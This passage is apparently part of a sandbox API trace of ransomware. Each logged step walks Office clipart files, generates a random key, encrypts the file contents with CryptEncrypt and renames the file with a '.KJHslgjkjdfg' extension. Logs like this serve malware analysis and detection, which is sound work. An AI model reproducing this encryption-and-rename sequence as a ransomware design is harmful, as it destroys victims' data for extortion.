lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.853] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.853] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.853] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.853] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.854] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.854] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.854] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x194a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x194a, lpOverlapped=0x0) returned 1 [0214.857] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1950, dwBufLen=0x1950 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1950) returned 1 [0214.857] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.857] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1950, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1950, lpOverlapped=0x0) returned 1 [0214.857] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.857] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.857] SetEndOfFile (hFile=0x130) returned 1 [0214.860] GetProcessHeap () returned 0x2ef0000 [0214.860] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.860] GetProcessHeap () returned 0x2ef0000 [0214.860] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.860] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00395_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00395_.wmf.kjhslgjkjdfg")) returned 1 [0214.862] CloseHandle (hObject=0x130) returned 1 [0214.862] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4af1d100, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4af1d100, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x38c6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00396_.WMF", cAlternateFileName="")) returned 1 [0214.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.863] GetProcessHeap () returned 0x2ef0000 [0214.863] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.863] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.863] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.863] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0214.865] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.865] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.865] GetProcessHeap () returned 0x2ef0000 [0214.865] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.865] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.865] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.865] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.866] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.866] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.866] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.866] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.866] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.866] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.866] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.866] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.866] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x38c6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x38c6, lpOverlapped=0x0) returned 1 [0214.868] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x38d0, dwBufLen=0x38d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x38d0) returned 1 [0214.868] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.868] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x38d0, lpOverlapped=0x0) returned 1 [0214.868] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.868] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x39a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.869] SetEndOfFile (hFile=0x130) returned 1 [0214.872] GetProcessHeap () returned 0x2ef0000 [0214.872] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.872] GetProcessHeap () returned 0x2ef0000 [0214.872] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.872] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00396_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00396_.wmf.kjhslgjkjdfg")) returned 1 [0214.875] CloseHandle (hObject=0x130) returned 1 [0214.875] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x239b0400, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x239b0400, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0x173e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00417_.WMF", cAlternateFileName="")) returned 1 [0214.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.876] GetProcessHeap () returned 0x2ef0000 [0214.876] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.876] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.876] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.876] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0214.925] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.925] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.925] GetProcessHeap () returned 0x2ef0000 [0214.925] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.926] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.926] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.926] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.926] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.926] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.926] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.926] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.926] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.926] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.926] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.926] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.926] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x173e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x173e, lpOverlapped=0x0) returned 1 [0214.927] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1740, dwBufLen=0x1740 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1740) returned 1 [0214.927] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.927] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1740, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1740, lpOverlapped=0x0) returned 1 [0214.927] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.927] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.927] SetEndOfFile (hFile=0x130) returned 1 [0214.969] GetProcessHeap () returned 0x2ef0000 [0214.969] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.969] GetProcessHeap () returned 0x2ef0000 [0214.969] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.969] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00417_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00417_.wmf.kjhslgjkjdfg")) returned 1 [0214.971] CloseHandle (hObject=0x130) returned 1 [0214.971] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x313b9400, ftCreationTime.dwHighDateTime=0x1bd4aeb, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x313b9400, ftLastWriteTime.dwHighDateTime=0x1bd4aeb, nFileSizeHigh=0x0, nFileSizeLow=0x4696, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00433_.WMF", cAlternateFileName="")) returned 1 [0214.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.972] GetProcessHeap () returned 0x2ef0000 [0214.972] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.972] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.972] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.972] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0214.974] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.974] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.974] GetProcessHeap () returned 0x2ef0000 [0214.974] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.974] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.974] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.974] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.974] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.974] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.974] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.975] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.975] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.975] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.975] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.975] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.975] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4696, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4696, lpOverlapped=0x0) returned 1 [0214.976] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x46a0, dwBufLen=0x46a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x46a0) returned 1 [0214.976] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.976] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x46a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x46a0, lpOverlapped=0x0) returned 1 [0214.976] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.976] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.977] SetEndOfFile (hFile=0x130) returned 1 [0214.979] GetProcessHeap () returned 0x2ef0000 [0214.979] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.979] GetProcessHeap () returned 0x2ef0000 [0214.979] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.979] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00433_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00433_.wmf.kjhslgjkjdfg")) returned 1 [0214.980] CloseHandle (hObject=0x130) returned 1 [0214.980] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdea9aa00, ftCreationTime.dwHighDateTime=0x1bd4ae1, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdea9aa00, ftLastWriteTime.dwHighDateTime=0x1bd4ae1, nFileSizeHigh=0x0, nFileSizeLow=0x2f38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00438_.WMF", cAlternateFileName="")) returned 1 [0214.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.982] GetProcessHeap () returned 0x2ef0000 [0214.982] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.982] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.982] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.982] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.987] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.987] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.987] GetProcessHeap () returned 0x2ef0000 [0214.987] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.987] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.987] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.987] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.987] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.987] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.987] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.988] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.988] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, 